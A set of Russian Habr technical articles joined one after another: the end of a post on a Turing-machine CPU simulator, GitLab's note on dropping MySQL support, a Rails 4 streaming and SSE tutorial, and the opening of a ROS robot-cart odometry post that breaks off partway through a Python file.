Пример: 3-х битные регистры A, B, C и D на ленте### Размещаем на ленте АЛУ и флаги
Для определения начала АЛУ и флагов на ленте аналогично программе необходимо ввести дополнительные символы:
```
const ALU_CHAR = 'ALU' // символ АЛУ
const ALU_CARRY_CHAR = '$' // символ АЛУ с переносом
const OVERFLOW_FLAG_CHAR = 'OF' // флаг переполнения
const SIGN_FLAG_CHAR = 'SF' // флаг знака
const ZERO_FLAG_CHAR = 'ZF' // флаг нуля
const CARRY_FLAG_CHAR = 'CF' // флаг переноса
```
В процессе разработки состояний для выполнения команд было выявлено, что для самых длинных с точки зрения ячеек операций – `MUL` и `DIV` требуется `3·(bitDepth+1)` ячеек ленты. Именно столько пустых ячеек будет расположено после символа начала АЛУ – `ALU_CHAR`.
Сразу после АЛУ будут идти флаги. Каждый флаг занимает две ячейки - имя флага и `0`. В процессе работы арифметико-логических команд эти значения будут модифицироваться в конце выполнения:
Пример: АЛУ с флагами для 3-битного процессора### Размещаем на ленте память
Для памяти заведём дополнительный символ `MEMORY_CHAR`:
```
const MEMORY_CHAR = 'MEM'
```
Для индексации аналогично программе после символа начала памяти выделим место для записи номера ячейки. Количество бит – `max(memoryDepth, bitDepth)`, где `memoryDepth` – минимальное число бит для получения всех чисел от 0 до количества ячеек памяти без единицы (`memoryCount`). После этого в количестве `memoryCount` будут записаны нулевые слова длины `bitDepth`, начинающиеся с символа `#`:
Пример: память из 4-х ячеек трёхбитного симулятора### Размещаем на ленте стек
Изначально, поскольку стек пуст, на ленте будет записан только символ начала стека – `STACK_CHAR`:
```
const STACK_CHAR = 'STK'
```
В процессе размещения на нём значений на ленту будут записываться символы битов размещаемого значения и дополнительно символ `#` для разделения ячеек между собой. Таким образом лента может расти в правую сторону и такой стек можно считать условно бесконечным, пока хватит памяти компьютера, на котором запущен симулятор.
### Лента МТ перед началом работы
Описав по-отдельности каждую часть, можно собрать всё воедино. Все части просто следуют друг за другом без каких-либо разделителей. Например, лента для программы
```
DEC A
NEG A
```
на 3-х битном процессоре будет выглядеть следующим образом:
Начальная лента с программой для 3-х битного процессораАлгоритм работы МТ-симулятора
-----------------------------
Изначально считывающая головка находится на самом первом символе программы –`PROGRAM_CHAR`, а сама машина Тьюринга находится в состоянии `RUN`. Симулятор последовательно выполняет команду за командой и по достижении терминального состояния `HALT` прекращает свою работу.
### Алгоритм последовательного выполнения инструкций
Состояние `RUN` выполняет следующие действия:
* если встречается символ `#`, он заменяется на символ `@`, головка сдвигается на один символ вправо и МТ переходит в состояние декодирования инструкции `FETCH`;
* если встречается символ `PROGRAM_END_CHAR`, машина переходит в терминальное состояние;
* если встречается любой другой символ, головка сдвигается вправо на одну ячейку.
В процессе выполнения команд для перехода к следующей команде используется состояние `RETURN-RUN`:
* по символам `PROGRAM_CHAR` и `@` выполняется сдвиг вправо и переход в состояние `RUN`;
* по символу `~` выполняется запись символа `λ` и сдвиг вправо, после чего выполняется переход в состояние `FETCH` для декодирования следующей части команды (этот символ служит признаком того, что была обработана часть команды и требуется сделать дополнительные действия прежде чем переходить к следующей команде);
* для всех остальных символов алфавита выполняется перемещение головки влево.
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| | `#` | `@` | `PRG` | `END` | `~` | `остальные` |
| `RUN` | `@,R,FETCH` | `R` | `R` | `HALT` | `R` | `R` |
| `RETURN-RUN` | `L` | `@,R,RUN` | `PRG,R,RUN` | `L` | `λ,R,FETCH` | `L` |
### Декодирование инструкций
Для декодирования инструкций и их аргументов используется состояние `FETCH`. В этом состоянии могут произойти следующие ситуации в зависимости от символа под головкой:
* символы `0` и `1` – выполняется запись константы на АЛУ, после чего записывается символ `~`, для обработки следующего аргумента во время возврата к выполнению;
* символ регистра – выполняется сдвиг вправо для проверки типа команды:
Если правее находится символ `0`, то значение регистра никуда записывать не нужно, оно используется только для записи результата, поэтому символ заменяется на `λ`, головка сдвигается на символ правее и выполняется декодирование следующей инструкции;
Если же правее регистра находится символ `λ`, то необходимо записать содержимое регистра на АЛУ;
Если правее находится символ `1`, то тоже нужно записать значение регистра на АЛУ, но в конце дополнительно добавить символ `#`для разделения двух аргументов;
Аналогично записи константы после аргумента записывается символ `~`, для обработки следующего аргумента во время возврата к выполнению.
* символ `&` – адресный аргумент, необходима проверка, первый ли это аргумент. Если первый (левее находится символ `@`), то это команда MOV и необходимо подготовить ячейку памяти для записи в неё второго аргумента. Если же это второй аргумент, то необходимо пометить ячейку памяти и записать из неё данные в конец АЛУ;
* символ `#` – означает, что команда была обработана полностью, выполняется переход влево и МТ переход в состояние записи результата – `WRITE-BACK`;
* символ конца программы – выполняется переход в состояние останова;
* команда перехода – выполняется сдвиг вправо и МТ переходит в одноимённое состояние команды перехода;
* стековые команды – выполняется переход в состояние `PUSH` или `POP` для соответствующего декодированного символа;
* команда пересылки `MOV` – выполняется возвращение в исходное состояние аргументов команды с последующей записью результата;
* остальные команды – с помощью дополнительного состояния справа символ заменяется на `~`, после чего головка перемещается на следующий символ за символом начала АЛУ и производится переход в состояние выполняемой команды.
### Выполнение команд на АЛУ
При обработке символа команды, выполняемой на АЛУ, МТ перемещается на первый символ, следующий за `ALU_CHAR` и переходит в состояние, соответствующее исполняемой команде. Это очень похоже на работу первой версии симулятора, однако в этом случае в конце вычислений вместо терминального состояния машина Тьюринга переходит в состояние записи флагов. После записи всех флагов симулятор переходит в состояние `RETURN-RUN` и возвращается к выполнению инструкции для записи результата.
#### Запись флагов
Все флаги кроме флага переполнения (`OF`) можно автоматически проставить, проанализировав результат, записанный на АЛУ:
* Флаг знака (`SF`) – следующий символ за символом АЛУ равен записываемому значению флага;
* Флаг переноса (`CF`) – специально для этого флага помимо символа `ALU_CHAR` введён дополнительный `ALU_CARRY_CHAR`, который записывается вместо `ALU_CHAR`, если в процессе выполнения команды возник перенос разряда. Поэтому значение флага `CF` равно `1`, если АЛУ начинается с символа `ALU_CARRY_CHAR` и `0`, если с `ALU_CHAR;`
* флаг нуля (`ZF`) – последовательно проходя по записанному на ленте слову в случае считывания ненулевого символа в значение флага записывается `0`, в противном случае, дойдя до `λ` записывается `1`.
* флаг переполнения (`OF`) должен анализироваться для каждой из операций независимо, а потому по окончании выполнения инструкции МТ анализирует полученный результат и аргументы и переходит в одно из двух состояний – `OVERFLOW` или `NO-OVERFLOW`, которые записывают `1` и `0` соответственно в значение флага `OF`.
Таким образом состояние для записи флага переполнения автоматически переходит в состояние записи флага `SF`. Из записи знака МТ переходит в состояние проверки переноса и записи флага `CF`, из которого переходит в проверку знака и запись флага `ZF`, после чего выполнение операции считается завершённым.
Таблица состояний для записи флагов
| | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| | `0` | `1` | `λ` | `OF` | `SF` | `ZF` | `CF` | `ALU` | `$` |
| `OVERFLOW` | `R` | `R` | `R` | `OF,R,OVRFLOW-WRITE` | | | | | |
| `NO-OVERFLOW` | `R` | `R` | `R` | `OF,R,NO-OVRFLOW-WRITE` | | | | | |
| `OVERFLOW-WRITE` | `1,L,BEGIN-SIGN` | `1,L,BEGIN-SIGN` | | | | | | | |
| `NO-OVERFLOW-WRITE` | `0,L,BEGIN-SIGN` | `0,L,BEGIN-SIGN` | | | | | | | |
| `BEGIN-SIGN` | `L` | `L` | `L` | `L` | | | | `ALU,R,CHECK-SIGN` | `$,R,CHECK-SIGN` |
| `CHECK-SIGN` | `0,R,NO-SIGN` | `1,R,SIGN` | | | | | | | |
| `SIGN` | `R` | `R` | `R` | `R` | `SF,R,SIGN-WRITE` | | | | |
| `NO-SIGN` | `R` | `R` | `R` | `R` | `SF,R,NO-SIGN-WRITE` | | | | |
| `SIGN-WRITE` | `1,L,BEGIN-CARRY` | `1,L,BEGIN-CARRY` | | | | | | | |
| `NO-SIGN-WRITE` | `0,L,BEGIN-CARRY` | `0,L,BEGIN-CARRY` | | | | | | | |
| `BEGIN-CARRY` | `L` | `L` | `L` | `L` | `L` | | | `ALU,R,NO-CARRY` | `ALU,R,CARRY` |
| `CARRY` | `R` | `R` | `R` | `R` | `R` | `R` | `CF,R,CARRY-WRITE` | | |
| `NO-CARRY` | `R` | `R` | `R` | `R` | `R` | `R` | `CF,R,NO-CARRY-WRITE` | | |
| `CARRY-WRITE` | `1,L,BEGIN-ZERO` | `1,L,BEGIN-ZERO` | | | | | | | |
| `NO-CARRY-WRITE` | `0,L,BEGIN-ZERO` | `0,L,BEGIN-ZERO` | | | | | | | |
| `BEGIN-ZERO` | `L` | `L` | `L` | `L` | `L` | `L` | `L` | `R,CHECK-ZERO` | |
| `CHECK-ZERO` | `R` | `1,R,NO-ZERO` | `λ,R,ZERO` | | | | | | |
| `ZERO` | `R` | `R` | `R` | `R` | `R` | `ZF,R,ZERO-WRITE` | `R` | | |
| `NO-ZERO` | `R` | `R` | `R` | `R` | `R` | `ZF,R,NO-ZERO-WRITE` | `R` | | |
| `ZERO-WRITE` | `1,L,RETURN-RUN` | `1,L,RETURN-RUN` | | | | | | | |
| `NO-ZERO-WRITE` | `0,L,RETURN-RUN` | `0,L,RETURN-RUN` | | | | | | | |
Пример записи флагов из состояния OVERFLOW### Работа с памятью
Для выполнения операций с памятью необходимо уметь перемещаться в ячейку с заданным номером. Именно для этого на ленте после символа `MEMORY_CHAR` находится пустое место. Для того, чтобы пометить ячейку памяти по заданному индексу, в это пустое место записывается номер ячейки (это может быть как константа, так и значение регистра). После этого адрес уменьшается на единицу. Если в процессе уменьшения произошло переполнение (головка переместилась на символ памяти), то искомая ячейка найдена, в противном случае МТ идёт вправо, пока не встретит первый символ `#`, который затем заменяется на `@` и производится возвращение в состояние декремента адреса.
После того как ячейка помечена, в неё можно записывать информацию (команда `MOV address value`), поместить это значение в стек (`PUSH address`) или же поместить значение из памяти на АЛУ ( `ADD register address`). Для всех этих трёх ситуаций, используются свои независимые состояния пометки ячейки.
Пример: пометка ячейки памяти по индексу 3### Работа со стеком
В случае выполнения команды `PUSH value` всё довольно просто:
* если в стек кладётся константа, последовательно переписывается значение из аргумента в конец стека;
* если в стек кладётся значение регистра, то МТ перемещается на регистр и выполняет практически то же самое перемещение бита за битом в конец стека;
* если в стек кладётся значение из памяти, ячейка помечается, после чего аналогично регистру копируются биты.
После того, как скопированы все биты значения, в стек дозаписывается символ `#` для разделения значений между собой.
Если же выполняется операция извлечения из стека `POP register`, то МТ перемещается на последний символ стека и проверяет, что левее находится `#` или `STACK_CHAR`. Если обнаруживается символ `STACK-CHAR`, это означает, что стек пуст, а потому машина переходит в терминальное состояние `UNDERFLOW`, а симулятор сигнализирует об ошибке. В противном случае `#` удаляется, а затем, последовательно удаляя бит за битом и копируя его на регистр, значение на вершине стека полностью перемещается на регистр.
Пример: операции со стеком - PUSH и POP### Работа с командами перехода
Если встречена команда безусловного перехода `JMP`, то головка перемещается вправо и последовательно копирует адрес команды в пустое место после символа начала программы. После того, как адрес скопирован, головка перемещается в начало программы, а все символы `@` заменяются на `#`, тем самым снимая пометки с пройденных команд. Дойдя до `PROGRAM_CHAR`, аналогично работе с памятью, скопированное значение адреса уменьшается и на каждой итерации команда помечается путём последовательной замены `#` на `@`. Как только адрес "обнулится", МТ переходит в состояние `RUN`, тем самым переходя на первую непомеченную инструкцию.
В случае команд условного перехода предварительно проверяются условия перехода путём проверки значения флагов и их комбинаций. Результат проверки записывает правее команды перехода символ `0` или `1`, означающий выполнение или невыполнение условия перехода. Если условие выполнено, МТ переходит в состояние безусловного перехода, копируя адрес. В противном случае выполняется переход на следующую команду путём перехода в состояние `RUN`.
Пример: безусловный переход по адресу 2### Вызов подпрограмм – CALL и RET
При обработке команды вызова подпрограммы МТ необходимо получить адрес следующей инструкции для возможности последующего перехода на него. Для этого симулятор использует следующий алгоритм:
* правее команды `CALL` записывается символ `~` и выполняется переход на символ начала программы;
* выполняется увеличение числа адреса на 1 (первый раз `λ` будет заменена на `0`, затем `0` на `1`, в следующий раз адрес запишется как `10`, тем самым обеспечивая автоматический сдвиг всех бит при необходимости переноса на символ `PROGRAM_CHAR`);
* после каждого инкремента адреса симулятор перемещается по ленте вправо, пока не встретит символ `#`, после чего, начнёт движение влево до символа `@`, который будет заменён на `#` и машина Тьюринга вернётся в начало программы для очередного инкремента адреса;
Пример выполнения команды CALL – вычисление адреса возврата* как только все метки инструкций (`@`) закончатся, машина перейдёт в состояние переноса адреса на стек. Это действие полностью аналогично команде `PUSH` с тем отличием, что после выполнения этого действия, симулятор вернётся на проставленный символ `~`, заменит его на `λ` и перейдёт в состояние безусловного перехода.
Пример выполнения команды CALL – перенос адреса возврата на стекКогда же симулятор встречает команду `RET`, выполняются обратные действия:
* машина Тьюринга перемещается на последний символ в стеке, предварительно проверяя, что стек не пуст, после чего смещается на первый символ последнего значения и заменяет его на `O` или `I` в зависимости от числа и переходит в состояние добавления считанного символа к адресу программы;
* как только в адрес программы записано число, МТ возвращается на первый символ `O` или `I`, заменяет его на пустой символ и переносит следующий символ;
* после переноса адреса целиком, симулятор переходит в состояние перемещения на инструкцию по заданному адресу, записанному в самом начале программы, как это делается в безусловном переходе.
Пример выполнения команды RET### Подробнее о переносе значений
Для того, чтобы отличать перенесённые биты от неперенесённых, во всех операциях перемещения значений используются символы `O` и `I`. Как только необходимо перенести символ `0`, он заменяется на `O` и выполняется перенос нуля. Аналогично, когда нужно перенести `1`, выполняется замена на `I` и переносится единица. Для возвращения обратно не нужно предварительно перемещаться на блок, из которого производится перенос, так как достаточно дойти до первого символа `O` или `I`, после чего сдвинуть головку и продолжить перенос значения дальше.
### Параметры полученной машины Тьюринга
* 75 символов алфавита (`λ`, `0`, `1`, `O`, `I`, `#`, `@`, `&`, `~`, символы начала блоков (10), имена регистров (6) и команды (50));
* 641 состояние;
* 15694 действия;
* полностью автономна после единственной записи на ленту и запуска.
Внешний вид симулятора
----------------------
С точки зрения интерфейса симулятор разделён на две части:
* Область с кодом, кнопками для компиляции, запуска/остановки выполнения, выполнения одного шага и сброса, а также меню для загрузки примеров и настройки разрядности процессора и количества ячеек памяти.
* Область с блоками для отображения информации о значениях регистров и флагов, лентой машины Тьюринга, а также информацией о текущем состоянии, текущем символе и правиле перехода МТ.
Лента для удобства расположена построчно, чтобы можно было видеть её целиком. Символы начала блоков (программа, регистры, АЛУ, флаги и т.д.) подсвечиваются яркими цветами для наглядности. Дополнительно подсвечивается ячейка, в которой в настоящий момент находится головка машины Тьюринга.
Блоки с информацией о регистрах и флагах позволяют подсветить на ленте места их расположения. При этом блоки регистров отображают значение регистров в битовом представлении, как оно лежит на ленте, а также результат перевода в десятичную систему в виде беззнакового и знакового представлений.
При запуске симулятора есть возможность изменять тип шагов:
* по инструкциям - наиболее быстрый вариант выполнения, машина Тьюринга будет обновлять содержимое на ленте по окончании выполнения ассемблерной инструкции;
* по состояниям - содержимое ленты будет обновляться каждый раз, когда один шаг МТ привёл к изменению состояния;
* по ячейкам – самый медленный, но зато самый подробный и наглядный вариант выполнения. Содержимое ленты обновляется после каждого элементарного шага машины.
Для более быстрого погружения в симуляторе доступны несколько примеров программ:
* вычисление числа Фибоначчи (используется по умолчанию);
* проверка гипотезы Коллатца для заданного числа;
* вычисление НОД двух чисел по алгоритму Евклида;
* пример работы с памятью и стеком.
Скриншот симулятораГифка работы симулятораСпасибо, что дочитали до конца! Если Вам интересно посмотреть на код проекта и самостоятельно запустить симулятор, то это можно сделать здесь: [TuringCpu](https://github.com/dronperminov/TuringCpu). В ридми репозитория описаны все используемые команды, формат команд и констант, а также другие полезные данные о симуляторе. | https://habr.com/ru/post/665776/ | null | ru | null |
# GitLab: с выходом версии 12.1 мы прекращаем поддержку MySQL
Сейчас мы расскажем, почему, начиная с версии 12.1, GitLab перестанет поддерживать MySQL.
-----------------------------------------------------------------------------------------
В июле 2017 GitLab [предупредил, что прекратит поддержку MySQL](https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests/1756). Так вот, с выпуском 12.1 период подготовки к этому завершится, и [больше мы MySQL поддерживать не будем](https://gitlab.com/gitlab-org/gitlab-ce/issues/52442). Решение непростое, и мы хотели бы поделиться доводами.
### MySQL не очень подходил для нашего сценария использования
Есть немало удачных внедрений MySQL, однако в нашем случае он не совсем подходил. По сравнению с PostgreSQL [MySQL имеет ряд ограничений](https://gitlab.com/gitlab-org/gitlab-ce/issues/51173#issues), что приводило к проблемам с PostgreSQL при попытках приспособить MySQL. Вот небольшой список ограничений:
* С MySQL [не получалось эффективно поддерживать вложенные группы](https://gitlab.com/gitlab-org/gitlab-ce/issues/30472#note_27747600)
* Также есть ограничения по полям, которые мы обходим с помощью различных ухищрений, а в результате mysql может просто [не сохранить данные](https://gitlab.com/gitlab-org/gitlab-ce/issues/49583)
* MySQL [не добавит](https://gitlab.com/gitlab-org/gitlab-ce/issues/40168) тип столбца `TEXT`, если не задать параметр length
* MySQL не [поддерживает частичные индексы](https://dba.stackexchange.com/questions/106589/to-have-postgresql-like-partial-index-in-mysql-5-5)
* Уже этот набор ограничений создал несколько моментов (включая Geo), по которым мы и так не поддерживали MySQL
### Он замедлял нас
Для обхода "больных" мест мы написали [специфичный](https://gitlab.com/gitlab-org/gitlab-ee/blob/7ef7c604729c2627914bcc0ece3355786a9a3413/db/migrate/prometheus_metrics_limits_to_mysql.rb) код для [MySQL](https://gitlab.com/gitlab-org/gitlab-ee/blob/7ef7c604729c2627914bcc0ece3355786a9a3413/ee/db/migrate/20180831134049_allow_many_prometheus_alerts.rb#L30), что по факту вылилось в поддержание еще одной подсистемы баз данных, а по факту — [удвоенная сложность при слияниях кодовой базы](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/16793). Поддержка такого кода также приводила к накладным расходам, что в результате привело к замедлению скорости выпусков.
Отдельно стоит упомянуть нашу систему CI, которая прогоняла тесты дважды, таким образом прекратив поддержку MySQL мы сократим время тестирования и расходы на инфраструктуру. Расходы, надо сказать, [значительные](https://about.gitlab.com/company/team/structure/working-groups/gitlab-com-cost/), не окупаются малым числом пользователей на MySQL.
### Мы теряли преимущества обеих серверных частей
Поддерживая обе серверные части (PostgreSQL и MySQL), мы не могли в полной мере воспользоваться ни одной из них. Там где хотелось бы использовать особенности производительности и надежности какой-либо из них, приходилось сводить все к наименьшему общему знаменателю. Пример ([не единственный](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/24987#note_186506464)): мы хотели использовать `LATERAL JOIN` PostgreSQL для оптимизации событий на панели управления, но [у нас не получилось потому, что мы использовали MySQL](https://gitlab.com/gitlab-org/gitlab-ce/issues/31806#note_32117488).
### Почти все наши клиенты на PostgreSQL
Ориентируясь на данные [Usage Ping](https://docs.gitlab.com/ee/user/admin_area/settings/usage_statistics.html#usage-ping-core-only), мы четко увидели, что подавляющее большинство клиентов уже перешли на PostgreSQL. Тренд достаточно устойчивый, к примеру в последнее время на 1200 установок с MySQL было порядка 110000 установок на PostgreSQL.
Мы уверены, что наши пользователи, которые применяют MySQL, могут достаточно просто сменить базу данных, переходя на PostgreSQL при обновлении до gitlab 12.1 и новее.
К слову, сами мы не работаем с MySQL, а это значит, что мы не сталкивались с проблемами ДО наших пользователей.
### Нужна помощь с миграцией?
Если вы из числа таких пользователей, то для руководства по переходу с MySQL на PostgreSQL ознакомьтесь, пожалуйста, с [документами по миграции](https://docs.gitlab.com/ee/update/mysql_to_postgresql.html). | https://habr.com/ru/post/459182/ | null | ru | null |
# Стриминг в Rails 4
Что такое стриминг?
-------------------
Стриминг крутился около Rails начиная с версии 3.2, но он был ограничен исключительно [стримингом шаблонов](http://apidock.com/rails/ActionController/Streaming). Rails 4 же вышел с более зрелым функционалом стриминга в реальном времени. По сути это значит что Rails сейчас способен нативно обрабатывать I/O объекты и посылать данные клиенту в риалтайме.
Streaming и Live — два отдельных модуля, реализованных внутри ActionController'а. Streaming включен по умолчанию, в то время как Live должен быть явно добавлен непосредственно в контроллере.
Основной api стриминга использует класс Fiber (доступен с версии ruby 1.9.2). Файберы предоставляют инструментарий для потоко-подобного параллелизма в ruby. Fiber дает возможность потокам приостанавливаться и возобновлять работу по желанию программиста, а не быть по сути упреждающими.
Стриминг шаблонов
-----------------
Стриминг инвертирует обычный процесс рендеринга лэйаута и шаблона. По умолчанию Rails рендерит сначала шаблон, а потом лэйаут. Первое что он делает, запускает `yield` и загружает шаблон. После этого, рендерятся ассеты и лэйаут.
Рассмотрим action который делает много запросов, например:
```
class TimelineController
def index
@users = User.all
@tickets = Ticket.all
@attachments = Attachment.all
end
end
```
В данном случае хорошо подойдет стриминг. Это обычная ситуация для Rails, страница загружается дольше чем обычно, потому как нужно для начала получить все данные.
Давайте добавим стриминг:
```
class TimelineController
def index
@users = User.all
@tickets = Ticket.all
@attachments = Attachment.all
render stream: true
end
end
```
Метод `render stream: true` лениво загрузит все запросы и даст им возможность выполняться после того как ассеты и лэйаут будут отрендерены. Стриминг работает с шаблонами и только с ними (но не с json или xml). Это дает хороший способ передать приоритет шаблонам основываясь на типе страницы и её содержимом.
Добавим чего-нибудь внутрь
--------------------------
Стриминг изменяет способ ренеринга шаблона и лэйаута, что приводит к логичному вопросу: а как же использование инстансных переменных в шаблонах?
Ведь так как база данных еще не вернула ответ на момент рендеринга шаблонов, попытка обратиться к инстансным переменным приведет к ошибке.
Следовательно, чтобы загрузить такие аттрибуты как title и meta нужно использовать `content_for` вместо привычного `yield`'а. Тем не менее, `yield` все еще будет работать для body.
Ранее наш метод выглядел как-то так:
```
<%= yield :title %>
```
Теперь же он будет выглядеть так:
```
<%= content_for :title, "My Awesome Title" %>
```
Становимся живее с Live API
---------------------------
Live это специальный модуль, включенный в ActionController. Он позволяет Rails явно открывать и закрывать стримы. Давайте напишем простое приложение и посмотрим как это работает и как получить доступ к стриму извне.
Так как мы работаем в контексте стриминга и параллелизма, WEBrick нам тут не товарищ. Будем использовать Puma ибо она умеет работать с потоками.
Добавим пуму в Gemfile и запустим bundle.
```
gem "puma"
```
```
:~/testapp$ bundle install
```
Puma хорошо интегрируется с Rails, так что если вы теперь запустите `rails s`, Puma запустится на том же порту что и WEBRick.
```
:~/testapp$ rails s
=> Booting Puma
=> Rails 4.0.0 application starting in development on http://0.0.0.0:3000
=> Run `rails server -h` for more startup options
=> Ctrl-C to shutdown server
Puma 2.3.0 starting...
* Min threads: 0, max threads: 16
* Environment: development
* Listening on tcp://0.0.0.0:3000
```
Давайте по-быстрому сгенерируем контроллер для отправки сообщений.
```
:~/testapp$ rails g controller messaging
```
И добавим простой метод для их стриминга.
```
class MessagingController < ApplicationController
include ActionController::Live
def send_message
response.headers['Content-Type'] = 'text/event-stream'
10.times {
response.stream.write "This is a test Message\n"
sleep 1
}
response.stream.close
end
end
```
Добавим роут в routes.rb:
```
get 'messaging' => 'messaging#send_message'
```
Теперь мы можем получить доступ к стриму например с помощью curl:
```
:~/testapp$ curl -i http://localhost:3000/messaging
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-UA-Compatible: chrome=1
Content-Type: text/event-stream
Cache-Control: no-cache
Set-Cookie: request_method=GET; path=/
X-Request-Id: 68c6b7c7-4f5f-46cc-9923-95778033eee7
X-Runtime: 0.846080
Transfer-Encoding: chunked
This is a test message
This is a test message
This is a test message
This is a test message
```
Каждый раз когда запускается метод `send_message`, Puma создает новый поток, в котором производит стриминг данных для отдельного клиента. По умолчанию Puma сконфигурирована чтоб обрабатывать до 16 параллельных потоков, что значит 16 одновременно подключенных клентов. Конечно же это количество можно увеличить, но это несколько увеличит расход памяти.
Давайте-ка создадим форму и посмотрим можем ли мы послать какие-нибудь данные на view:
```
def send_message
response.headers['Content-Type'] = 'text/event-stream'
10.times {
response.stream.write "#{params[:message]}\n"
sleep 1
}
response.stream.close
end
```
Делаем форму для посылки данных в стрим:
```
<%= form_tag messaging_path, :method => 'get' do %>
<%= text_field_tag :message, params[:message] %>
<%= submit_tag "Post Message" %>
<% end %>
```
И настроим роут:
```
get 'messaging' => 'messaging#send_message', :as => 'messaging'
```
Как только вы введете сообщение и нажмете «Post Message», браузер получит потоковый ответ в виде загружаемого текстового файла, который содержит ваше сообщение, залогированное 10 раз.
Здесь, однако, стрим не знает куда посылать данные и в каком формате, поэтому то он их и пишет в текстовый файл на сервере.
Можно также проверить работу с помощью curl, передав параметры:
```
:~/testapp$ curl -i http://localhost:3000/messaging?message="awesome"
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-UA-Compatible: chrome=1
Content-Type: text/event-stream
Cache-Control: no-cache
Set-Cookie: request_method=GET; path=/
X-Request-Id: 382bbf75-7d32-47c4-a767-576ec59cc364
X-Runtime: 0.055470
Transfer-Encoding: chunked
awesome
awesome
```
События на стороне сервера (Server Side Events)
-----------------------------------------------
HTML5 предоставляет метод, называемый Server Side Events (SSE). SSE это метод доступный браузеру, который распознает и инициирует события каждый раз когда сервер присылает данные.
Мы можем использовать SSE в сочетании с Live API чтобы наладить двухстороннюю связь сервера с клиентом.
По умолчанию Rails предоставляет только одностороннюю комуникацию — позволяет потоково посылать клиенту данные как только они становятся доступны. Однако если мы добавим SSE то сможем использовать события и ответы в двухстороннем режиме.
Простой SSE выглядит приблизительно так:
```
require 'json'
module ServerSide
class SSE
def initialize io
@io = io
end
def write object, options = {}
options.each do |k,v|
@io.write "#{k}: #{v}\n"
end
@io.write "data: #{object}\n\n"
end
def close
@io.close
end
end
end
```
Данный модуль получает объект I/O стрима в хэш и конвертирует его в пару ключ-значение так, чтоб его можно было легко читать, хранить и отсылать обратно в формате JSON.
Теперь можно обернуть наш стрим-объект в SSE. Во-первых, подключим SSE модуль к контроллеру. Теперь открытие и закрытие стрима регулируется SSE модулем. Также, если не завершить явно, цикл будет повторяться бесконечно и подключение будет открыто всегда, поэтому мы добавим условие `ensure`, чтобы удостовериться что стрим таки закроется.
```
require 'server_side/sse'
class MessagingController < ApplicationController
include ActionController::Live
def stream
response.headers['Content-Type'] = 'text/event-stream'
sse = ServerSide::SSE.new(response.stream)
begin
loop do
sse.write({ :message => "#{params[:message]}" })
sleep 1
end
rescue IOError
ensure
sse.close
end
end
end
```
Этот код выдаст ответ вроде этого:
```
:~/testapp$ curl -i http://localhost:3000/messaging?message="awesome"
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-UA-Compatible: chrome=1
Content-Type: text/event-stream
Cache-Control: no-cache
Set-Cookie: request_method=GET; path=/
X-Request-Id: b922a2eb-9358-429b-b1bb-015421ab8526
X-Runtime: 0.067414
Transfer-Encoding: chunked
data: {:message=>"awesome"}
data: {:message=>"awesome"}
```
Подводные камни
---------------
Будьте внимательны, есть пара подводных камней (куда ж без них то):
1. Все стримы должны быть закрыты явно, иначе они будут открыты всегда.
2. Вы должны удостовериться в том что ваш код потокобезопасен, так как контроллер всегда порождает новый поток при запуске метода.
3. После первой порции ответа хедеры нельзя изменить в `write` или `close`
Заключение
----------
Это возможность, которую многие давно искали в Rails, потому как она может существенно увеличить производительность приложений (стриминг шаблонов) и составить серьезную конкуренцию node.js (Live).
Некоторые уже проводят бенчмарки, сравнивают, но я думаю что это только самое начало и должно пройти время (читай несколько релизов) чтобы эта фича, так сказать, дозрела. Сейчас же это хороший старт и волнующая возможность попробовать всё в деле.
PS: это мой первый опыт перевода, буду очень благодарен за замечания в личку. Спасибо.
Оригинал [тут](http://rubysource.com/streaming-with-rails-4/). | https://habr.com/ru/post/187994/ | null | ru | null |
# Робот-тележка на ROS. Часть 6. Одометрия с энкодеров колес, карта помещения, лидар
Посты серии:
[8.Управляем с телефона-ROS Control, GPS-нода](https://habr.com/ru/post/474650/)
[7. Локализация робота: gmapping, AMCL, реперные точки на карте помещения](https://habr.com/ru/post/472984/)
[6. Одометрия с энкодеров колес, карта помещения, лидар](https://habr.com/ru/post/471028/)
[5. Работаем в rviz и gazebo: xacro, новые сенсоры.](https://habr.com/ru/post/467665/)
[4. Создаем симуляцию робота, используя редакторы rviz и gazebo.](https://habr.com/ru/post/467241/)
[3. Ускоряемся, меняем камеру, исправляем походку](https://habr.com/ru/post/463147/)
[2. Софт](https://habr.com/ru/post/461131/)
[1. Железо](https://habr.com/ru/post/460755/)
В прошлый раз мы оформили проект в виде отдельных модулей xacro, добавили виртуальные видеокамеру и imu(гироскоп).
В этом посте поработаем с одометрией с оптических энкодеров, которые установлены на валы колес, загрузим карту помещения и поездим по ней на реальном роботе-тележке.
### Одометрия и tf
Что такое одометрия и tf и как они обычно реализуется в ROS уже отлично описано на ресурсе, поэтому отсылаем в части теории к соответствующим статьям, например [здесь](https://habr.com/ru/company/tod/blog/204250/).
Оттолкнувшись от теоретической базы, поработаем с практикой.
Начнем с работы на роботе-тележке, подключившись к нему по VNC.
Перейдем в папку rosbots\_driver и создадим файл-ноду. Данный файл будет формировать одометрию, получая ее от оптических энкодеров, которые в свою очередь отправляют ее в arduino uno и далее в raspberry pi.
```
cd /home/pi/rosbots_catkin_ws/src/rosbots_driver/scripts/rosbots_driver
touch diff-tf.py
```
В файл поместим код:
**diff\_tf.py**
```
#!/usr/bin/env python
"""
diff_tf.py - follows the output of a wheel encoder and
creates tf and odometry messages.
some code borrowed from the arbotix diff_controller script
A good reference: http://rossum.sourceforge.net/papers/DiffSteer/
Copyright (C) 2012 Jon Stephan.
"""
import rospy
#import roslib
#roslib.load_manifest('differential_drive')
from math import sin, cos, pi
from geometry_msgs.msg import Quaternion
from geometry_msgs.msg import Twist
from geometry_msgs.msg import Vector3
from nav_msgs.msg import Odometry
import tf
from tf.broadcaster import TransformBroadcaster
from std_msgs.msg import Int16, Int32, Int64, UInt32
#############################################################################
class DiffTf:
#############################################################################
#############################################################################
def __init__(self):
